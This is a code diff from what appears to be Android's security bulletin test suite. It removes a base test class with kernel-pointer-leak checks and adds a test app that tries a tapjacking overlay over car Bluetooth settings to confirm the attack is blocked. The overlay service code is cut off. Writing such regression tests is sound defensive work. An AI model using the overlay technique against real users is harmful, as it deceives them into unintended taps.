- fail("Regex timeout with pattern: '" + pattern + "' for input:\n..." + input + "...");
- }
- }
-
- /*
- * Helper method to grab the nearby chars for a subsequence. Similar to the -A and -B flags for
- * grep.
- */
- private static String getInputContext(String input, int start, int end, int before, int after) {
- start = Math.max(0, start - before);
- end = Math.min(input.length(), end + after);
- return input.substring(start, end);
- }
-
- /*
- * Wrapper for a given CharSequence. When charAt() is called, the current time is compared
- * against the timeout. If the current time is greater than the expiration time, an exception is
- * thrown. The expiration time is (time of object construction) + (timeout in milliseconds).
- */
- private static class TimeoutCharSequence implements CharSequence {
- long expireTime = 0;
- CharSequence chars = null;
-
- TimeoutCharSequence(CharSequence chars, long timeout) {
- this.chars = chars;
- expireTime = System.currentTimeMillis() + timeout;
- }
-
- @Override
- public char charAt(int index) {
- if (System.currentTimeMillis() > expireTime) {
- throw new CharSequenceTimeoutException(
- "TimeoutCharSequence was used after the expiration time.");
- }
- return chars.charAt(index);
- }
-
- @Override
- public int length() {
- return chars.length();
- }
-
- @Override
- public CharSequence subSequence(int start, int end) {
- return new TimeoutCharSequence(chars.subSequence(start, end),
- expireTime - System.currentTimeMillis());
- }
-
- @Override
- public String toString() {
- return chars.toString();
- }
-
- private static class CharSequenceTimeoutException extends RuntimeException {
- public CharSequenceTimeoutException(String message) {
- super(message);
- }
- }
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
deleted file mode 100644
index d7a3afc..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ /dev/null
@@ -1,367 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import com.android.compatibility.common.util.MetricsReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.config.Option;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.device.NativeDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.ddmlib.Log;
-
-import org.junit.rules.TestName;
-import org.junit.Rule;
-import org.junit.After;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-
-import java.util.Map;
-import java.util.HashMap;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-import java.util.concurrent.Callable;
-import java.math.BigInteger;
-
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
-import static org.hamcrest.core.Is.is;
-
-public class SecurityTestCase extends StsExtraBusinessLogicHostTestBase {
-
- private static final String LOG_TAG = "SecurityTestCase";
- private static final int RADIX_HEX = 16;
-
- protected static final int TIMEOUT_DEFAULT = 60;
- // account for the poc timer of 5 minutes (+15 seconds for safety)
- protected static final int TIMEOUT_NONDETERMINISTIC = 315;
-
- private long kernelStartTime = -1;
-
- private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
-
- @Rule public TestName testName = new TestName();
- @Rule public PocPusher pocPusher = new PocPusher();
-
- private static Map<ITestDevice, IBuildInfo> sBuildInfo = new HashMap<>();
- private static Map<ITestDevice, IAbi> sAbi = new HashMap<>();
- private static Map<ITestDevice, String> sTestName = new HashMap<>();
- private static Map<ITestDevice, PocPusher> sPocPusher = new HashMap<>();
-
- @Option(name = "set-kptr_restrict",
- description = "If kptr_restrict should be set to 2 after every reboot")
- private boolean setKptr_restrict = false;
- private boolean ignoreKernelAddress = false;
-
- /**
- * Waits for device to be online, marks the most recent boottime of the device
- */
- @Before
- public void setUp() throws Exception {
- getDevice().waitForDeviceAvailable();
- getDevice().disableAdbRoot();
- updateKernelStartTime();
- // TODO:(badash@): Watch for other things to track.
- // Specifically time when app framework starts
-
- sBuildInfo.put(getDevice(), getBuild());
- sAbi.put(getDevice(), getAbi());
- sTestName.put(getDevice(), testName.getMethodName());
-
- pocPusher.setDevice(getDevice()).setBuild(getBuild()).setAbi(getAbi());
- sPocPusher.put(getDevice(), pocPusher);
-
- if (setKptr_restrict) {
- if (getDevice().enableAdbRoot()) {
- CLog.i("setting kptr_restrict to 2");
- getDevice().executeShellCommand("echo 2 > /proc/sys/kernel/kptr_restrict");
- getDevice().disableAdbRoot();
- } else {
- // not a rootable device
- ignoreKernelAddress = true;
- }
- }
- }
-
- /**
- * Makes sure the phone is online, and the ensure the current boottime is within 2 seconds
- * (due to rounding) of the previous boottime to check if The phone has crashed.
- */
- @After
- public void tearDown() throws Exception {
- try {
- getDevice().waitForDeviceAvailable(90 * 1000);
- } catch (DeviceNotAvailableException e) {
- // Force a disconnection of all existing sessions to see if that unsticks adbd.
- getDevice().executeAdbCommand("reconnect");
- getDevice().waitForDeviceAvailable(30 * 1000);
- }
-
- if (kernelStartTime != -1) {
- // only fail when the kernel start time is valid
- long deviceTime = getDeviceUptime() + kernelStartTime;
- long hostTime = System.currentTimeMillis() / 1000;
- assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
- kernelStartTime = -1;
- }
-
- // TODO(badash@): add ability to catch runtime restart
- }
-
- public static IBuildInfo getBuildInfo(ITestDevice device) {
- return sBuildInfo.get(device);
- }
-
- public static IAbi getAbi(ITestDevice device) {
- return sAbi.get(device);
- }
-
- public static String getTestName(ITestDevice device) {
- return sTestName.get(device);
- }
-
- public static PocPusher getPocPusher(ITestDevice device) {
- return sPocPusher.get(device);
- }
-
- // TODO convert existing assertMatches*() to RegexUtils.assertMatches*()
- // b/123237827
- @Deprecated
- public void assertMatches(String pattern, String input) throws Exception {
- RegexUtils.assertContains(pattern, input);
- }
-
- @Deprecated
- public void assertMatchesMultiLine(String pattern, String input) throws Exception {
- RegexUtils.assertContainsMultiline(pattern, input);
- }
-
- @Deprecated
- public void assertNotMatches(String pattern, String input) throws Exception {
- RegexUtils.assertNotContains(pattern, input);
- }
-
- @Deprecated
- public void assertNotMatchesMultiLine(String pattern, String input) throws Exception {
- RegexUtils.assertNotContainsMultiline(pattern, input);
- }
-
- /**
- * Runs a provided function that collects a String to test against kernel pointer leaks.
- * The getPtrFunction function implementation must return a String that starts with the
- * pointer. i.e. "01234567". Trailing characters are allowed except for [0-9a-fA-F]. In
- * the event that the pointer appears to be vulnerable, a JUnit assert is thrown. Since kernel
- * pointers can be hashed, there is a possiblity the the hashed pointer overlaps into the
- * normal kernel space. The test re-runs to make false positives statistically insignificant.
- * When kernel pointers won't change without a reboot, provide a device to reboot.
- *
- * @param getPtrFunction a function that returns a string that starts with a pointer
- * @param deviceToReboot device to reboot when kernel pointers won't change
- */
- public void assertNotKernelPointer(Callable<String> getPtrFunction, ITestDevice deviceToReboot)
- throws Exception {
- assumeFalse("Cannot set kptr_restrict to 2, ignoring kptr test.", ignoreKernelAddress);
- String ptr = null;
- for (int i = 0; i < 4; i++) { // ~0.4% chance of false positive
- ptr = getPtrFunction.call();
- if (ptr == null) {
- return;
- }
- if (!isKptr(ptr)) {
- // quit early because the ptr is likely hashed or zeroed.
- return;
- }
- if (deviceToReboot != null) {
- deviceToReboot.nonBlockingReboot();
- deviceToReboot.waitForDeviceAvailable();
- updateKernelStartTime();
- }
- }
- fail("\"" + ptr + "\" is an exposed kernel pointer.");
- }
-
- private boolean isKptr(String ptr) {
- Matcher m = Pattern.compile("[0-9a-fA-F]*").matcher(ptr);
- if (!m.find() || m.start() != 0) {
- // ptr string is malformed
- return false;
- }
- int length = m.end();
-
- if (length == 8) {
- // 32-bit pointer
- BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX);
- // 32-bit kernel memory range: 0xC0000000 -> 0xffffffff
- // 0x3fffffff bytes = 1GB / 0xffffffff = 4 GB
- // 1 in 4 collision for hashed pointers
- return address.compareTo(new BigInteger("C0000000", RADIX_HEX)) >= 0;
- } else if (length == 16) {
- // 64-bit pointer
- BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX);
- // 64-bit kernel memory range: 0x8000000000000000 -> 0xffffffffffffffff
- // 48-bit implementation: 0xffff800000000000; 1 in 131,072 collision
- // 56-bit implementation: 0xff80000000000000; 1 in 512 collision
- // 64-bit implementation: 0x8000000000000000; 1 in 2 collision
- return address.compareTo(new BigInteger("ff80000000000000", RADIX_HEX)) >= 0;
- }
-
- return false;
- }
-
- /**
- * Check if a driver is present and readable.
- */
- protected boolean containsDriver(ITestDevice device, String driver) throws Exception {
- return containsDriver(device, driver, true);
- }
-
- /**
- * Check if a driver is present on a machine.
- */
- protected boolean containsDriver(ITestDevice device, String driver, boolean checkReadable)
- throws Exception {
- boolean containsDriver = false;
- if (driver.contains("*")) {
- // -A list all files but . and ..
- // -d directory, not contents
- // -1 list one file per line
- // -f unsorted
- String ls = "ls -A -d -1 -f " + driver;
- if (AdbUtils.runCommandGetExitCode(ls, device) == 0) {
- String[] expanded = device.executeShellCommand(ls).split("\\R");
- for (String expandedDriver : expanded) {
- containsDriver |= containsDriver(device, expandedDriver, checkReadable);
- }
- }
- } else {
- if(checkReadable) {
- containsDriver = AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0;
- } else {
- containsDriver = AdbUtils.runCommandGetExitCode("test -e " + driver, device) == 0;
- }
- }
-
- MetricsReportLog reportLog = buildMetricsReportLog(getDevice());
- reportLog.addValue("path", driver, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue("exists", containsDriver, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.submit();
-
- return containsDriver;
- }
-
- protected static MetricsReportLog buildMetricsReportLog(ITestDevice device) {
- IBuildInfo buildInfo = getBuildInfo(device);
- IAbi abi = getAbi(device);
- String testName = getTestName(device);
-
- StackTraceElement[] stacktraces = Thread.currentThread().getStackTrace();
- int stackDepth = 2; // 0: getStackTrace(), 1: buildMetricsReportLog, 2: caller
- String className = stacktraces[stackDepth].getClassName();
- String methodName = stacktraces[stackDepth].getMethodName();
- String classMethodName = String.format("%s#%s", className, methodName);
-
- // The stream name must be snake_case or else json formatting breaks
- String streamName = methodName.replaceAll("(\\p{Upper})", "_$1").toLowerCase();
-
- MetricsReportLog reportLog = new MetricsReportLog(
- buildInfo,
- abi.getName(),
- classMethodName,
- "CtsSecurityBulletinHostTestCases",
- streamName,
- true);
- reportLog.addValue("test_name", testName, ResultType.NEUTRAL, ResultUnit.NONE);
- return reportLog;
- }
-
- private long getDeviceUptime() throws DeviceNotAvailableException {
- String uptime = null;
- int attempts = 5;
- do {
- if (attempts-- <= 0) {
- throw new RuntimeException("could not get device uptime");
- }
- getDevice().waitForDeviceAvailable();
- uptime = getDevice().executeShellCommand("cat /proc/uptime").trim();
- } while (uptime.isEmpty());
- return Long.parseLong(uptime.substring(0, uptime.indexOf('.')));
- }
-
- public void safeReboot() throws DeviceNotAvailableException {
- getDevice().nonBlockingReboot();
- getDevice().waitForDeviceAvailable();
- updateKernelStartTime();
- }
-
- /**
- * Allows a test to pass if called after a planned reboot.
- */
- public void updateKernelStartTime() throws DeviceNotAvailableException {
- long uptime = getDeviceUptime();
- kernelStartTime = (System.currentTimeMillis() / 1000) - uptime;
- }
-
- /**
- * Return true if a module is play managed.
- *
- * Example of skipping a test based on mainline modules:
- * <pre>
- * @Test
- * public void testPocCVE_1234_5678() throws Exception {
- * // This will skip the test if MODULE_METADATA mainline module is play managed.
- * assumeFalse(moduleIsPlayManaged("com.google.android.captiveportallogin"));
- * // Do testing...
- * }
- * * </pre>
- */
- boolean moduleIsPlayManaged(String modulePackageName) throws Exception {
- return mainlineModuleDetector.getPlayManagedModules().contains(modulePackageName);
- }
-
- public void assumeIsSupportedNfcDevice(ITestDevice device) throws Exception {
- String supportedDrivers[] = { "/dev/nq-nci*", "/dev/pn54*", "/dev/pn551*", "/dev/pn553*",
- "/dev/pn557*", "/dev/pn65*", "/dev/pn66*", "/dev/pn67*",
- "/dev/pn80*", "/dev/pn81*", "/dev/sn100*", "/dev/sn220*",
- "/dev/st54j*", "/dev/st21nfc*" };
- boolean isDriverFound = false;
- for(String supportedDriver : supportedDrivers) {
- if(containsDriver(device, supportedDriver, false)) {
- isDriverFound = true;
- break;
- }
- }
- String[] output = device.executeShellCommand("ls -la /dev | grep nfc").split("\\n");
- String nfcDevice = null;
- for (String line : output) {
- if(line.contains("nfc")) {
- String text[] = line.split("\\s+");
- nfcDevice = text[text.length - 1];
- }
- }
- assumeTrue("NFC device " + nfcDevice + " is not supported. Hence skipping the test",
- isDriverFound);
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index c4d37b0..91c84d7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -16,27 +16,26 @@
package android.security.cts;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.compatibility.common.util.CrashUtils;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.not;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeThat;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
import junit.framework.Assert;
-import java.util.Arrays;
-import java.util.ArrayList;
-import static org.junit.Assume.*;
-import static org.hamcrest.CoreMatchers.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class TestMedia extends SecurityTestCase {
-
+public class TestMedia extends NonRootSecurityTestCase {
/******************************************************************************
* To prevent merge conflicts, add tests for N below this comment, before any
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml
index 7f819bc..ef3e6cd 100644
--- a/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml
@@ -17,6 +17,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.security.cts.BUG_182282630"
android:targetSandboxVersion="2">
+ <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<application
android:label="@string/app_name"
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-182810085/Android.bp
new file mode 100644
index 0000000..d7af1ca
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "BUG-182810085",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.appcompat_appcompat",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-182810085/AndroidManifest.xml
new file mode 100644
index 0000000..5777c18
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/AndroidManifest.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.BUG_182810085"
+ minSdkVersion="29">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application android:theme="@style/Theme.AppCompat.Light">
+ <uses-library android:name="android.test.runner" />
+ <service android:name=".OverlayService"
+ android:enabled="true"
+ android:exported="false" />
+
+ <activity
+ android:name=".MainActivity"
+ android:label="ST (Permission)"
+ android:exported="true"
+ android:taskAffinity="android.security.cts.BUG_182810085.MainActivity">
+
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.BUG_182810085" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/layout/activity_main.xml
new file mode 100644
index 0000000..0ac0cf4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<RelativeLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:gravity="left"
+ tools:context=".MainActivity" >
+
+ <LinearLayout
+ android:id="@+id/linearLayout1"
+ android:layout_width="fill_parent"
+ android:layout_height="wrap_content"
+ android:layout_below="@+id/seekShowTimes"
+ android:layout_centerHorizontal="true"
+ android:layout_marginTop="53dp"
+ android:orientation="horizontal" >
+
+ <Button
+ android:id="@+id/btnStart"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Start" />
+
+ </LinearLayout>
+
+</RelativeLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/values/strings.xml
new file mode 100644
index 0000000..347c9e1
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/values/strings.xml
@@ -0,0 +1,19 @@
+<!--
+ ~ Copyright (C) 2021 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<resources>
+ <string name="tapjacking_text">BUG_182810085 overlay text</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/Constants.java b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/Constants.java
new file mode 100644
index 0000000..d7b940e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/Constants.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_182810085;
+
+final class Constants {
+
+ public static final String LOG_TAG = "BUG-182810085";
+ public static final String TEST_APP_PACKAGE = Constants.class.getPackage().getName();
+
+ public static final String ACTION_START_TAPJACKING = "BUG_182810085.start_tapjacking";
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/DeviceTest.java
new file mode 100644
index 0000000..4dbe976
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/DeviceTest.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_182810085;
+
+import static android.security.cts.BUG_182810085.Constants.LOG_TAG;
+
+import org.junit.Before;
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.util.Log;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertNotNull;
+
+/** Basic sample for unbundled UiAutomator. */
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ private static final long WAIT_FOR_UI_TIMEOUT = 20_000;
+
+ private Context mContext;
+ private UiDevice mDevice;
+
+ @Before
+ public void setUp() throws Exception {
+ Log.d(LOG_TAG, "startMainActivityFromHomeScreen()");
+
+ mContext = getApplicationContext();
+
+ // If the permission is not granted, the app will not be able to show an overlay dialog.
+ // This is required for the test below.
+ // NOTE: The permission is granted by the HostJUnit4Test implementation and should not fail.
+ assertEquals("Permission SYSTEM_ALERT_WINDOW not granted!",
+ mContext.checkSelfPermission("android.permission.SYSTEM_ALERT_WINDOW"),
+ PackageManager.PERMISSION_GRANTED);
+
+ // Initialize UiDevice instance
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ if (!mDevice.isScreenOn()) {
+ mDevice.wakeUp();
+ }
+ mDevice.pressHome();
+ }
+
+ @Test
+ public void testTapjacking() throws InterruptedException {
+ Log.d(LOG_TAG, "Starting tap-jacking test");
+
+ launchTestApp();
+
+ launchTapjackedActivity();
+
+ mContext.sendBroadcast(new Intent(Constants.ACTION_START_TAPJACKING));
+ Log.d(LOG_TAG, "Sent intent to start tap-jacking!");
+
+ UiObject2 overlay = waitForView(By.text(mContext.getString(R.string.tapjacking_text)));
+ assertNull("Tap-jacking successful. Overlay was displayed.!", overlay);
+ }
+
+ @After
+ public void tearDown() {
+ mDevice.pressHome();
+ }
+
+ private void launchTestApp() {
+ Intent intent = mContext.getPackageManager().getLaunchIntentForPackage(
+ Constants.TEST_APP_PACKAGE);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mContext.startActivity(intent);
+
+ // Wait for the app to appear
+ UiObject2 view = waitForView(By.pkg(Constants.TEST_APP_PACKAGE).depth(0));
+ assertNotNull("test-app did not appear!", view);
+ Log.d(LOG_TAG, "test-app appeared");
+ }
+
+ private void launchTapjackedActivity() {
+ Intent intent = new Intent();
+ intent.setAction("android.settings.BLUETOOTH_SETTINGS");
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(intent);
+
+ UiObject2 activityInstance = waitForView(By.pkg("com.android.car.settings").depth(0));
+ assertNotNull("Activity under-test was not launched or found!", activityInstance);
+
+ Log.d(LOG_TAG, "Started Activity under-test.");
+ }
+
+ private UiObject2 waitForView(BySelector selector) {
+ return mDevice.wait(Until.findObject(selector), WAIT_FOR_UI_TIMEOUT);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/MainActivity.java b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/MainActivity.java
new file mode 100644
index 0000000..b31e83b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/MainActivity.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts.BUG_182810085;
+
+import static android.security.cts.BUG_182810085.Constants.LOG_TAG;
+
+import android.app.AlertDialog;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+import android.widget.ImageView;
+import android.widget.SeekBar;
+import android.widget.Toast;
+
+import androidx.annotation.Nullable;
+import androidx.appcompat.app.AppCompatActivity;
+
+import java.util.ArrayList;
+
+/** Main activity for the test-app. */
+public final class MainActivity extends AppCompatActivity {
+
+ private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+ public void onReceive(Context context, Intent intent) {
+ startTapjacking();
+ }
+ };
+
+ private Button btnStart;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+
+ registerReceiver(mReceiver, new IntentFilter(Constants.ACTION_START_TAPJACKING));
+
+ btnStart = (Button) findViewById(R.id.btnStart);
+ btnStart.setOnClickListener(v -> startTapjacking());
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+ unregisterReceiver(mReceiver);
+ stopOverlayService();
+ }
+
+ public void startTapjacking() {
+ Log.d(LOG_TAG, "Starting tap-jacking flow.");
+ stopOverlayService();
+
+ startOverlayService();
+ Log.d(LOG_TAG, "Started overlay-service.");
+ }
+
+ private void startOverlayService() {
+ startService(new Intent(getApplicationContext(), OverlayService.class));
+ }
+
+ private void stopOverlayService() {
+ stopService(new Intent(getApplicationContext(), OverlayService.class));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/OverlayService.java b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/OverlayService.java
new file mode 100644
index 0000000..0c62a80
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/OverlayService.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_182810085;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Looper;
+import android.provider.Settings;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.widget.Button;
+
+/** Service that starts the overlay for the test. */
+public final class OverlayService extends Service {
+ public Button mButton;
